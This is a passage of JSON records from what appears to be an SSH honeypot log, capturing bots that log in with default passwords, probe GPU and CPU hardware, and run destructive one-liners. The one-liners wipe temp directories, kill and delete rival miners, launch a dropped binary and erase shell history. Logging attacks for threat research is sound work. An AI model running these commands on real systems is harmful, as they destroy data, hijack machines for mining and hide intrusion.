RTX"},{"seq":17,"at":"2026-08-26T06:15:58.255272+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T06:16:00.298864+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T06:16:00.750175+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T06:16:02.557465+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T06:16:02.729507+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T06:16:04.414837+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T06:16:04.652628+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T06:16:09.800934+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T06:16:10.094909+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T06:16:16.485310+00:00","kind":"input","latency_ms":null,"data":"echo gpadmin > /tmp/d.log"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"b9998c00-d6b1-4b99-bff5-d6f8ff4e9a97","name":"faded-spirited-seal","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":43082,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":451,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T22:25:03.384103+00:00","ended_at":"2026-08-25T22:25:05.264850+00:00","ended_reason":"exec complete","commands":9,"transcript_bytes":617,"events":[{"seq":1,"at":"2026-08-25T22:24:46.454849+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T22:24:47.664617+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T22:24:48.113706+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T22:24:50.267196+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T22:24:50.746321+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T22:24:52.651663+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T22:24:53.100805+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T22:24:54.880378+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T22:24:55.327156+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T22:24:56.798108+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T22:24:57.276424+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T22:24:59.024485+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T22:24:59.475874+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T22:25:00.739501+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T22:25:01.190657+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T22:25:02.924129+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T22:25:03.384862+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T22:25:05.042069+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"216f0a0b-d6e5-4b92-968d-5464937f9cd5","name":"craggy-hearty-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":35230,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":451,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T22:08:15.283092+00:00","ended_at":"2026-08-25T22:08:17.241577+00:00","ended_reason":"exec complete","commands":10,"transcript_bytes":1353,"events":[{"seq":1,"at":"2026-08-25T22:07:24.288460+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T22:07:26.415059+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T22:07:26.865936+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T22:07:28.662364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T22:07:29.132933+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T22:07:30.712275+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T22:07:31.160132+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T22:07:32.475110+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T22:07:32.925211+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T22:07:34.481233+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T22:07:34.931773+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T22:07:36.636016+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T22:07:37.085265+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T22:07:39.156117+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T22:07:39.614606+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T22:07:41.415377+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T22:07:41.866785+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T22:07:43.328562+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T22:08:15.285508+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 FsmRlgjy ; ./FsmRlgjy </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history"}],"credentials":[{"username":"gpadmin","password":"gpadmin123","method":"password","accepted":true,"tier":"other"}]}
{"id":"7c4ca960-3e73-45e4-a50f-b969a9f06c17","name":"blithe-craggy-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"104.43.56.65","src_port":32866,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T22:07:44.436873+00:00","ended_at":"2026-08-25T22:08:17.236719+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin123","method":"password","accepted":true,"tier":"other"}]}
{"id":"ab7bac6e-fa4b-466a-be38-cb24f1ed1051","name":"blithe-windswept-yak","protocol":"ssh","channel_kind":null,"src_ip":"45.153.34.165","src_port":57010,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T01:13:08.509416+00:00","ended_at":"2026-08-25T01:13:10.490556+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"936e14fe-774d-4267-99d2-28b4bee4ea27","name":"sincere-ancient-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":48908,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":230,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:13:02.703489+00:00","ended_at":"2026-08-25T01:13:10.492163+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-25T01:12:00.510027+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T01:12:05.448642+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T01:12:05.702191+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T01:12:10.987236+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T01:12:11.198201+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T01:12:14.392385+00:00","kind":"output","latency_ms":null,"data":"4 days, 22:02"},{"seq":7,"at":"2026-08-25T01:12:14.590201+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T01:12:17.783509+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T01:12:18.014645+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T01:12:23.590609+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T01:12:23.801071+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:12:28.195916+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:12:28.416683+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:12:32.095230+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T01:12:32.302367+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:12:35.860566+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:12:36.321060+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:12:42.064197+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:12:42.316712+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:12:45.210650+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:12:45.500206+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:12:51.194367+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:12:51.406109+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:12:57.375149+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T01:12:57.605638+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T01:13:02.704215+00:00","kind":"input","latency_ms":null,"data":"echo gpadmin > /tmp/d.log"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"d3cb0b68-b802-4f29-af71-fbe0d3a0cb09","name":"western-serene-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.11","src_port":60282,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-24T09:58:39.018278+00:00","ended_at":"2026-08-24T09:58:40.730217+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"f572ba5c-3e16-407e-b82e-3a9130e3a2d6","name":"nameless-airy-elk","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":59508,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":218,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T09:58:33.338699+00:00","ended_at":"2026-08-24T09:58:40.731331+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-24T09:57:37.053753+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T09:57:41.005693+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T09:57:41.219853+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T09:57:43.803172+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T09:57:43.996129+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T09:57:46.862336+00:00","kind":"output","latency_ms":null,"data":"4 days,  6:47"},{"seq":7,"at":"2026-08-24T09:57:47.122511+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T09:57:51.869129+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T09:57:52.102747+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T09:57:56.537181+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T09:57:57.019114+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T09:58:01.485728+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T09:58:01.705096+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T09:58:05.103401+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T09:58:05.312222+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T09:58:08.914902+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T09:58:09.143534+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T09:58:14.456958+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T09:58:14.629440+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T09:58:20.023102+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T09:58:20.211606+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T09:58:25.076349+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T09:58:25.305842+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T09:58:28.042996+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T09:58:28.209806+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T09:58:33.339446+00:00","kind":"input","latency_ms":null,"data":"echo gpadmin > /tmp/d.log"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"cc4eeb28-fe7e-4a77-aaa7-c1f28cfc7975","name":"solar-deft-addax","protocol":"ssh","channel_kind":null,"src_ip":"91.92.42.147","src_port":58440,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-21T13:14:36.250736+00:00","ended_at":"2026-08-21T13:14:39.306276+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"61dd57ad-2c47-4c5d-826c-0666b4640a84","name":"glassy-nameless-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":33690,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":321,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T13:14:30.651930+00:00","ended_at":"2026-08-21T13:14:39.307326+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-21T13:13:29.157234+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:13:33.440334+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T13:13:33.873942+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T13:13:38.584631+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T13:13:38.976784+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T13:13:41.995515+00:00","kind":"output","latency_ms":null,"data":"1 day, 10:03"},{"seq":7,"at":"2026-08-21T13:13:42.308365+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T13:13:47.198267+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T13:13:47.409413+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T13:13:51.213051+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T13:13:51.386333+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T13:13:54.470793+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T13:13:54.667795+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T13:13:59.207083+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T13:13:59.545023+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T13:14:04.409392+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T13:14:04.730605+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T13:14:08.018201+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T13:14:08.248167+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T13:14:13.394520+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T13:14:13.881365+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T13:14:17.797482+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T13:14:18.047283+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T13:14:23.919543+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T13:14:24.524657+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T13:14:30.652820+00:00","kind":"input","latency_ms":null,"data":"echo gpadmin > /tmp/d.log"}],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"c3eb3320-5505-487e-b351-f23a032646c4","name":"vernal-patient-camel","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":44148,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T19:09:12.879077+00:00","ended_at":"2026-08-20T19:09:14.649841+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gpadmin","password":"gpadmin","method":"password","accepted":true,"tier":"other"}]}
{"id":"1801244f-0117-4f66-ad09-a90bb3b19bf9","name":"hazel-downy-ibis","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":47614,"username":"gpadmin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":177,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T19:09:09.593534+00:00","ended_at":"2026-08-20T19:09:14.647133+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1652,"events":[{"seq":1,"at":"2026-08-20T19:08:10.820293+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T19:08:15.668913+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T19:08:15.896274+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T19:08:19.778011+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T19:08:19.954410+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T19:08:24.960727+00:00","kind":"output","latency_ms":null,"data":"15:58"},{"seq":7,"at":"2026-08-20T19:08:25.134340+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T19:08:29.028744+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T19:08:29.207232+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T19:08:34.886035+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev 